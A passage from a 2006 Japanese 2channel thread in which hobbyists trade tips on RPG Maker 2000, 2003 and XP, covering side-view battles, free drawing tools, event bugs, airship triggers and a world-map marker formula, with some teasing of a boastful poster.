NEC製のだとマウスみたいな操作もできるから
それあまり効果ないかもしれんぞ
689:タナ栗粉
06/11/25 22:59:14 eRvJ5j5W
おい なぜ誰も何もいわない
690:名前は開発中のものです。
06/11/25 23:15:58 3jSNoGBk
SFCのスーパーダンテのころからやってて
特に何も考えずアホのようなイベントをつくりまくって
自己満足していた俺だが、2000に手を出して
できることの広さとパソコン多少理解してないと
ほとんどやりたいこと出来ない現実をみて落ち込んでいる。
戦闘をサイドビューにする気になればできるとか。
パソコンが解んない俺はイベント命令だけで作るしかないよな。
691:名前は開発中のものです。
06/11/25 23:36:59 H3nNdd4i
>>690
2003を買えばすぐできるお( ^ω^)
あとは、付属のサンプルを見て少しずつ真似していくとかな。
692:名前は開発中のものです。
06/11/25 23:38:32 Aav2aPGs
2000のデフォ戦を、背景と戦闘アニメを上手く使えばサイドビューにできる。
693:名前は開発中のものです。
06/11/25 23:48:14 2LGL7lkQ
>>690
一番簡単なサイドビュー表示の仕方は
戦闘背景にキャラ書いちゃうことだ
これだとアニメーションさせられないのと
メンバー入れ替えするなら背景も変更させないといけないという
面倒な欠点もあるけどね
694:名前は開発中のものです。
06/11/25 23:53:39 WaX5/QGK
2000でのサイドビュー自作は技術的には難しくないけど、キャラが死んだ時のグラとかの
素材不足に悩まされることが多い
695:名前は開発中のものです。
06/11/26 00:10:14 as2QHKUP
>>694
ペイントで横向き画像を90度回転。
696:名前は開発中のものです。
06/11/26 00:22:30 pU9VHTGH
>>691-694
書いたあとでちょっと厨っぽいこと書いたなと反省したが、
こんな質問でもマジレスしてくれる人いるんだな。サンクス。
画力があればなんとかなったりするんだな。
まあ俺は画力ちっともないんだが…。
少し気が楽になった。ありがとう。
697:名前は開発中のものです。
06/11/26 02:35:27 DbP4CArp
田奈に「ワードでうpしる」なんて難しいこと言ったら可愛そうだよ。
698:名前は開発中のものです。
06/11/26 08:43:21 e7IFC+Rc
URLリンク(vista.nazo.cc)
699:タナ栗粉
06/11/26 12:13:38 D10CnOGR
ん?なんであらすじ公開したのにみんな黙りこくっちゃったんだ?あー!さては俺のストーリーがすばらしすぎて自分の作品を諦めざるを得なくなったんだろ?
やっぱ才能がありすぎるというのは罪ってのも納得だな
700:名前は開発中のものです。
06/11/26 14:17:08 7KR2Etiq
URLリンク(blog.livedoor.jp)
これが思い浮かんだ……w
701:名前は開発中のものです。
06/11/26 16:06:39 Ev2z28G2
>>700
URL開く前から何か分かった俺は勝ち組w
702:名前は開発中のものです。
06/11/26 21:11:30 v4u8P29O
>>699
凄い才能ですね。
こんな才能のない連中のいるゲ作板にあなたのような人は近寄るべきではないと思います。
あなたのように才能溢れた人たちが集まる場所に移動するべきではないでしょうか。
お勧め場所は「VIP板」です。アソコには才能が頭蓋骨からあふれ出ちゃった人たちが常駐しています。
あなたも「VIP板」で「才能が頭蓋骨から溢れちゃってる俺様がゲームを作るスレ」あたりのタイトルでスレを立ててください。
703:タナ栗粉
06/11/26 21:23:44 D10CnOGR
うむ。ではVIPに紹介してくれたまえ
おっとスレがだいぶ脱線してしまったな 俺は意外にもこのスレを大切に思っているのでしばらく消えてみよ
あでゅー^^
704:名前は開発中のものです。
06/11/27 01:14:09 x7XZg3u1
>>703
とりあえずこのスレから覗いてみるといいよ。
VIPが無いと暇
スレリンク(siberia板)l50
705:名前は開発中のものです。
06/11/27 03:45:41 77PrszSN
ちょっとガンパレのウラ設定を彷彿とさせた
706:名前は開発中のものです。
06/11/27 10:14:12 efDdnjp2
ツクールXPにてマップチップやキャラチップを作成する上でお勧めの描画ツールは
何がありますでしょうか?
707:名前は開発中のものです。
06/11/27 12:29:07 F/tC4fNk
フォトショ
708:名前は開発中のものです。
06/11/27 13:57:05 +j8NyQCr
たけえよ。Gimpで良くね?
709:名前は開発中のものです。
06/11/27 14:00:15 dQe3QpCG
ペインタークラシックforタブレットのオマケソフト
710:名前は開発中のものです。
06/11/27 14:01:51 Hm1NBkGm
GIMPで十分だよ。Photoshopに勝るとも劣らない。
フリーであれは素晴らしいと思うよ。
使ったことないけど。
711:名前は開発中のものです。
06/11/27 14:58:06 S8cl0zEo
フリーソフトの範囲でオススメするなら
チップ素材はドット打ちが基本だから256色なら
「EDGE」 URLリンク(www.tkb-soft.hmcbest.com)
フルカラーなら
「GraphicsGale」 URLリンク(www.humanbalance.net)
さらにフルカラーPNGをαチャンネル透過付きで出力したいなら
「PictBear SE」 URLリンク(sleipnir.pos.to)
辺りがいいんじゃないか?
GIMPは高機能だし十分だけど、GUIがLinuxライクなのと高機能であるがゆえに
機能の割り当てを把握するのが初心者には非常に難しいからあまりお薦めしない。
712:名前は開発中のものです。
06/11/28 00:02:38 4xM3nFKz
2000で自作戦闘作ったが、デフォ戦で十分じゃないかと思えてきた
作りこまないとデフォ戦に劣るが、作りこむならスクリプト使えるxpで作りたいジレンマ
713:名前は開発中のものです。
06/11/28 01:04:29 DjBynyzm
じゃあXPで作ればいいじゃん。
2000の自作って何のメリットがあるのかわからん。
XPだと他にデメリットがあるから2000ってんなら話はわかるけど
714:名前は開発中のものです。
06/11/28 18:59:05 xSki4YQJ
メリットって
こだわりたいか気にしないかという単純な考えによると思うんだが・・・
制限の中で色々試行錯誤する楽しみもツクールにはあると俺は考えるぜ?
715:名前は開発中のものです。
06/11/28 19:06:01 xtejKipu
それ(制限の中で試行錯誤する楽しみ)が2000からXPになるとなくなるのか、
と言うと疑問。
というよりそもそも>712は「作りこむならスクリプト使えるxpで」と言ってるんだから、
楽しみなんか感じてないだろうしなぁ。
716:名前は開発中のものです。
06/11/28 19:51:11 4xM3nFKz
>>715
さすがに楽しみを感じないって事は無いぜ、処理の方法とか試行錯誤するのは割と好きだし
もうしばらく2000で頑張ってみる事にする
717:名前は開発中のものです。
06/11/28 21:50:16 jG/Nvvnc
つーか、ツクールXPってプログラミング覚えるには結構良くないか?
Rubyがいいってわけじゃなくて、ツール中のスクリプトエディタの中をじっくり見てると
この処理はこうやってるんだってのがわかる。
VBで仕事用のしょうもないアプリ作っててもゲーム作りはできるようにならないよな。
718:名前は開発中のものです。
06/11/28 21:55:16 igIecFqv
ちょっと質問。
ツクール2000でゲームを作ろうと思ったら、突然マップツリーデータが壊れていますとか言ってゲームが作れなくなったんだけど。
これって他になった奴いる?
対処法とかあるのかね?
719:名前は開発中のものです。
06/11/28 22:26:56 Q3B8iOYb
>>718
チーン
720:名前は開発中のものです。
06/11/29 00:07:54 3X2v9GAs
>>718
URLリンク(diarynote.jp)
の5月4日
でもデーターベースが劣化するの痛い痛い
以前同じ状態になって、今も完全復旧できてない
721:名前は開発中のものです。
06/11/29 09:07:54 mpLisTa7
2000で、複数のスイッチを一つの変数で代用しようと思うのですが、スイッチ20個までが限界でしょうか?
722:名前は開発中のものです。
06/11/29 10:13:47 RFocoNSH
2000ってキャラの大きさ固定でしたっけ?
XPでは自由な大きさのキャラが作れるので気に入ったんですが。
あと単独EXEにできる点もかな。
723:名前は開発中のものです。
06/11/29 10:52:02 fVeCZEa/
キャラは24x32。
724:名前は開発中のものです。
06/11/29 14:53:47 JXFXiPDk
>>720
バッグアップw
725:名前は開発中のものです。
06/11/29 17:34:24 /3VbJ5ip
>>722
1キャラの大きさは固定だけど
キャラチップをいくつか並べれば好きな大きさにできる。
足元が動いたら周りも同じように動くよう設定しなきゃなんないけど。
726:名前は開発中のものです。
06/11/29 18:08:27 epYJz9gz
ツクール2000にて、あるイベントが主人公に触れたとき、
そのイベントが勝手に下向きになってしまうのは仕様?
勝手に下向きになってしまう系の仕様って何かあったっけ?
727:名前は開発中のものです。
06/11/29 18:15:18 mpLisTa7
そんなのあったっけ?
ページ変えたから、とかじゃないの?
728:名前は開発中のものです。
06/11/29 18:26:52 epYJz9gz
ページは変わってないなぁ。
「イベントから触れたとき」「通常キャラの下」のイベントが
主人公と重なると、重なる瞬間に下向きになる。
イベント実行内容には、イベントグラフィック変更も下向き命令も存在しない。
わけわかめ。
729:名前は開発中のものです。
06/11/29 18:31:51 mpLisTa7
アニメーションタイプを向き固定にするといいんじゃないの
730:名前は開発中のものです。
06/11/29 18:44:24 epYJz9gz
試しに向き固定にしてみた。
そのイベントは、移動中にはしっかり向き固定してたのに、
やはり触れたとたんに下向きに・・・。
人生オワタ\(^o^)/
731:名前は開発中のものです。
06/11/29 18:49:40 eJZ8HFzu
イベント周囲のマップ上層チップを削除してみ?
732:名前は開発中のものです。
06/11/29 18:53:51 NnZ1TQQb
2000で、飛行船に乗ってる状態で、
マップに配置したイベントに触れてイベントを開始させる方法ってある?
733:名前は開発中のものです。
06/11/29 18:56:57 epYJz9gz
マップ上には、もともと上層チップがなかったりする・・・。
すまん、ありがとう。
もう別の手で行くことにするよ・・・。
みなも、やってみると同じ症状がでる・・・かも?
734:名前は開発中のものです。
06/11/29 19:10:51 KbwIMQsl
キャラグラの下向きを好きな向きのグラに描き変えればおk
735:名前は開発中のものです。
06/11/29 19:16:33 a5CTLXX5
>>725
スマソ、それってプレイヤーが操作する主人公でもできる?
でかいキャラを自由に動かしたいんだが
736:名前は開発中のものです。
06/11/29 19:20:21 ldbwnNd5
>>732
イベント位置の座標を監視して自動開始とかは嫌い?
737:名前は開発中のものです。
06/11/29 20:03:26 NnZ1TQQb
>>736
やはりそれしかないか。
もう既に並列処理を常時いくつか使ってるから、
できれば避けたかったんだよな。
738:名前は開発中のものです。
06/11/29 20:22:08 ldbwnNd5
>>737
どんなマップか分からないからなんだけど、飛行船の影が来る一段上にイベントを置くのは?
んでイベント開始を、条件分岐で飛行船に乗っている時に起きるようにするとか。
739:737
06/11/29 20:58:24 H5oiQwVN
>>738
ああいや、飛行船の画像と中心座標がずれてることが問題じゃなくて、
イベント開始条件が「主人公から触れた時」の場合に、
飛行船に乗ってる状態で触れても開始しないことが問題なんだわ。
740:名前は開発中のものです。
06/11/29 21:09:45 HFV3usia
逆に飛行船の方をデフォを使わず自作すると言う発想もあるがめんどいだろうな。
やはり座標を監視するイベントが無難だろうな。
741:名前は開発中のものです。
06/11/29 22:03:33 ldbwnNd5
>>739
飛行船に乗っているとき「主人公から触れたとき」ではなく
「イベントから触れたとき」なら実行されるから、それを利用するのは?
742:名前は開発中のものです。
06/11/29 23:10:11 H5oiQwVN
>>741
それは盲点だった、サンクス。
743:名前は開発中のものです。
06/12/01 00:15:33 jUkxd+7p
xpで作ってるんだけど、自動実行イベントの最初に
ピクチャー表示コマンドを置くと、スイッチで締めるかなんかしない限り
一生表示されない気がする。
744:名前は開発中のものです。
06/12/01 23:27:49 uXnPOTH0
2003から引用して2000でコモンの呼び出しをしたいんですが未知のコマンドになって呼び出しができません。どうやって呼び出せばいいんでしょうか?
745:名前は開発中のものです。
06/12/01 23:57:12 sZBF08Lw
2003で編集したゲームは2000で開くことは出来なくなるのでしょうか?
746:名前は開発中のものです。
06/12/02 00:16:41 K8/OA4XI
可能。RPG_RT.exeを2003から2000に差し替える必要があるけどね。
あと、2000で一度データを開いてから再びRPG_RT.exeを2000から2003に差し替えると、
詳しい仕組みは知らんが、2000のくせに2003verでテストプレイが出来る。
747:名前は開発中のものです。
06/12/02 00:19:31 K8/OA4XI
言い忘れ。
上記のは、あくまで開く事が可能なだけであって、ゲームを起動するって言うなら無理。
2003と2000じゃデフォ戦闘システムが違うから。
748:名前は開発中のものです。
06/12/02 00:23:27 hLaHD8pa
ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。
749:名前は開発中のものです。
06/12/02 00:36:14 vd73J6P8
調べてみたけど2003ってダンジョン自動で作ってくれる機能があるらしいが、出来はどうなの?
まともに機能するならすげー便利な気がするが…
750:名前は開発中のものです。
06/12/02 00:46:33 LW/SFOUZ
出口のない超高難度のダンジョンが出来上がる
751:名前は開発中のものです。
06/12/02 09:42:25 CmTcipHs
>>735
並列処理で主人公の位置を取得して
その上部に上半身の絵が来るようにすればできるんじゃない?
ツクールのテクニック大量に紹介してるサイトでもっと詳しく解説してた
そこではピクチャ使ってたけど
752:名前は開発中のものです。
06/12/02 11:10:48 HPEjgRiP
>>749
結局その機能を使ってるユーザーはまったくいない。
753:名前は開発中のものです。
06/12/02 11:13:02 hLaHD8pa
ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。
754:名前は開発中のものです。
06/12/02 13:23:01 uTvAXDZY
>>753
戦闘中にコモン呼び出しは2003からコピーしたんだと思う。
755:名前は開発中のものです。
06/12/02 13:36:27 hLaHD8pa
>>754
「未知のコマンド」になるんだけど・・・。
756:名前は開発中のものです。
06/12/02 14:11:03 7ym39Z/p
コモン内に無効なコマンドがあるとかじゃないの?
なにやらせてんの?
757:名前は開発中のものです。
06/12/02 14:44:15 hLaHD8pa
>>756
とりあえず動くかテストで文章表示とかさせてるけど
758:名前は開発中のものです。
06/12/02 17:47:00 gqHPMPKJ
KGCの盗むを入れてるんですが。
盗むの結果を表示する
ヘルプウィンドウの表示時間が短くて何を盗んだか読み難く、
ヘルプウィンドウの表示時間を伸ばしたいのですが、
如何すれば宜しいでしょうか?
759:名前は開発中のものです。
06/12/02 23:45:44 4YZh1zne
ヘルプウィンドウの表示時間を長くすればいいと思うよ
760:758
06/12/03 10:02:25 CsK/ySzw
>>759
ヘルプウィンドウの表示時間を長くするには
どのスクリプトのどの部分を弄ればいいのですか?
761:名前は開発中のものです。
06/12/03 11:43:44 nFczpNZl
どうすればXPでワールドマップが作れますか?
762:名前は開発中のものです。
06/12/03 12:15:33 M5WXv+QN
ワールドマップを作れば良いと思うよ
763:名前は開発中のものです。
06/12/03 13:41:56 WPcmOv/w
>>761
普通に作るのと同じじゃないかね。
Youどういうのを作りたいのか「ワールドマップ」の定義がはっきりしてないよ。
764:名前は開発中のものです。
06/12/03 13:57:06 sJJss3DO
>>751
遅くなったがトンクス
765:名前は開発中のものです。
06/12/03 15:35:24 3I6k80xQ
>>761
ワールドマップを作ればいいんじゃないかな
766:名前は開発中のものです。
06/12/03 18:44:03 nFczpNZl
>>763 んとねごく普通のワールドマップ
決まったボタンを押すと画面全体がワールドマップ画面に切り替わって自分の今いる場所が点で表されるってのがいいんだけど。
一つ一つの大陸はそれぞれ違うマップで作ってあるからどうすればいいのかな
767:名前は開発中のものです。
06/12/03 19:59:13 09leiyZ1
アレ臭いな…
768:名前は開発中のものです。
06/12/03 20:11:13 yf8aVlk6
ワールドマップとマーカーをピクチャーで用意してマップごとに位置を割り出す算式を組んで
マップIDと座標から割り出した位置にマーカーを表示知ればいいだけじゃないの?
2000のコモンでもできるから、そのままXPでもコモンでできるっしょ。
769:名前は開発中のものです。
06/12/03 20:41:54 nFczpNZl
難しすぎてなにがなんだか もっと詳しくお願いしやす
770:名前は開発中のものです。
06/12/03 20:51:40 rbhtYr2V
ぽかーん。これ以上どう簡単にせよと……。
一回、自分の欲しいモノを整理して考えてみるといいよ。
マーカーはキャラでもいいわな。
771:名前は開発中のものです。
06/12/03 22:03:06 Sg5BOqzl
2000製のゲームってフルスクリーンでプレイしないと動作が遅くなるんですか?
安価なSXGA(1280×1024)の液晶ディスプレイでフルスクリーンにするとアスペクト比が変わってしまうのですが、
比率を保持したまま拡大できる機能のあるディスプレイを使用しないと液晶で2000製のゲームはプレイしづらいのでしょうか?
XPだとそこら辺はどうなっているのでしょうか?
772:名前は開発中のものです。
06/12/03 23:05:15 vJPFxLuW
ウィンドウモードの大きい方は
画面のプロパティで「画面の色」を16ビットにすれば
小さい方やフルスクリーンと同じくらいの軽さ。
XPはかなり重い。
773:名前は開発中のものです。
06/12/03 23:56:49 Sg5BOqzl
そうですか……。
それじゃあツクールを使うのはやめます。
さようなら。
774:名前は開発中のものです。
06/12/03 23:58:01 Znz9Bg+c
キャラチップって
1 2 3
4 5 6
7 8 9
0 * #
って感じに並んでるよね?
自作戦闘で数字表示する時にセラブルみたいなイベントのページ毎に「あれが1以上ならキャラチップで1を表示」という条件じゃなくて
動作指定して1ページにまとめたいんだ
ただ動作指定は方向しか指定出来なくて?、正面向いてると258*しか表示出来ないのよ
イベントページのキャラチップ選択する所でチップ右側、左側、真中で右側にすれば1470、左側にすれば369#が表示出来るんだけど何とか1ページに押さえたい
意味不明な文章だけと誰か教えて下さい
775:名前は開発中のものです。
06/12/04 00:09:51 tPh54uiS
ん?ツクール2000ってWinXPだと動き悪くなるの?
776:名前は開発中のものです。
06/12/04 00:13:44 4pPJRYTK
そちらさんの文意を汲み取れているかは分からないけど、
チップセットは、1キャラに対して12マス。
1 2 3
4 5 6
7 8 9
0 * #
で、一ページに抑えるとなると向き指定で揃えるしかないわけだから、
実質、使えるのは258*のマスのみ。
となれば、これを計三キャラ分(1~4、5~8、9~12の数字に対応)作れば問題解決じゃないの?
仮に三つ作ってそれぞれ①②③とすれば、
条件指定で変数○○が1の時に①「上を向く」=1に対応
条件指定で変数○○が2の時に①「右を向く」=2に対応
条件指定で変数○○が3の時に①「下を向く」=3に対応
条件指定で変数○○が4の時に①「左を向く」=4に対応
…
条件指定で変数○○が12の時に③「左を向く」=12に対応
ってな具合で。ただ、個人的にはセラブル方式の方が楽のような気がする。
面倒って言うならピクチャーで表示するってのもありかと。
というか、チップ使ってこの手法ならピクチャーの方がまだ手軽。こんな感じでおk?
777:名前は開発中のものです。
06/12/04 00:21:08 4pPJRYTK
ん、間違ったな。12まで作る必要ないね。9まででいいか。あと0も付け足して。
作るマップチップはこんな感じで。(*は必要ないものと考えて)
* 1 *
* 2 *
* 3 *
* 4 *
* 5 *
* 6 *
* 7 *
* 8 *
* 9 *
* 0 *
* * *
* * *
778:名前は開発中のものです。
06/12/04 00:23:24 WETsvPET
ピクチャーの方が早くて楽だよ。
でも50しかないからすぐ足りなくなってこまる。
779:名前は開発中のものです。
06/12/04 00:38:35 CHZyBv0S
>>774
動きが左・中央・右の状態のイベントをそれぞれ用意して、
表示する前に一つの場所に重ねておく。
で、条件を満たさないときは他の二つのイベントは透明にしておけばおk
780:名前は開発中のものです。
06/12/04 01:46:26 RrhcHK2z
主人公を変えてそれぞれ違う場所から始めたくて
とりあえず、主人公の歩行グラフィックと顔グラフィックは変更してみたのだけど
能力や装備、アイテム、経験値、仲間などはどうすればいいかな
781:名前は開発中のものです。
06/12/04 11:02:15 kX51VxxZ
だからさあ マーカーやら算式やら意味がよくわからへんねん どうやったらワールドマップ作れるか手順をもっと詳しくたのむ
782:名前は開発中のものです。
06/12/04 11:07:32 3WaEYHtw
>>781
理解力も、理解しようという意思さえない池沼は諦めろ。
少しは自分で調べて努力しろや。
783:名前は開発中のものです。
06/12/04 11:43:47 kX51VxxZ
そうやって中傷する暇があったら早く教えて 早く
784:名前は開発中のものです。
06/12/04 12:23:32 IBAie81F
>>781
XPならまず640×480のワールドマップ用の画像を用意する、そして赤い点でもなんでもいいから
現在位置のマーカー用画像も用意する。
いくつかに分かれたマップの四隅の位置がワールドマップどの位置に来るかそれぞれ決める。
例えばある地域のマップはワールドマップ画像上での位置が左上隅が(150,100)右下隅は(300,200)の
位置に対応していたと仮定する、その地域のマップの広さが仮に30×20マスだったとする場合、
0,0=150,100、30,20=300,200に対応するのはわかると思う。
この地域のx座標の計算式は150+(x*5)、y座標の計算式は100+(y*5)となる。
高校1年生くらいの数学力があれば余裕で計算式は導けるはずなので、地域マップごとにこれを用意いて
マップIDと座標を監視して対応した計算式を呼び出し、マップを表示した後その上の対応した座標位置に
マーカーを表示するようにコモンを作れば基本的に2000でも2003でもXPで作れる。
785:名前は開発中のものです。
06/12/04 12:33:57 IBAie81F
なんだタナだったのか、詳しく説明して損した教えてもどうせ判らないからな。
786:名前は開発中のものです。
06/12/04 13:20:35 MK/wSUpw
流れぶった切ってすいませんが、質問です。
ツクール95のモングラをツクール2000で使用するには
どうすればいいでしょうか?
95からモングラを取りだす方法がわかりません・・・。
787:名前は開発中のものです。
06/12/04 13:45:43 JO+zXrGO
どっかのフォルダとかに入ってるんじゃねーの。
まぁそもそも95と2000では解像度違うから使うのは難しいけどよ。
788:名前は開発中のものです。
06/12/04 17:31:05 a8d2o39b
サンプルゲーム覗けば分かるような質問が多いですね^^;